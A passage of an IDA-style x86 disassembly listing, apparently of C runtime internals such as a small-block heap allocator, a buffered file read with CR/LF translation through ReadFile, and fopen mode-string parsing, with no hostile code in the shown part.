jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE64
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE60
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE50
cmp dword_4DBE50, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE80
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE80
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE80, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE60
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_427064 ; VirtualAlloc
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE80, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE80, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD060[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4E0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD160
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD060h[eax*4]
mov eax, dword_4DD060[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FA84
call dword_427094 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDEC, 9
mov dword_4DBDF0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FB25
call dword_427094 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41FB6C
loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE54
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFC0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
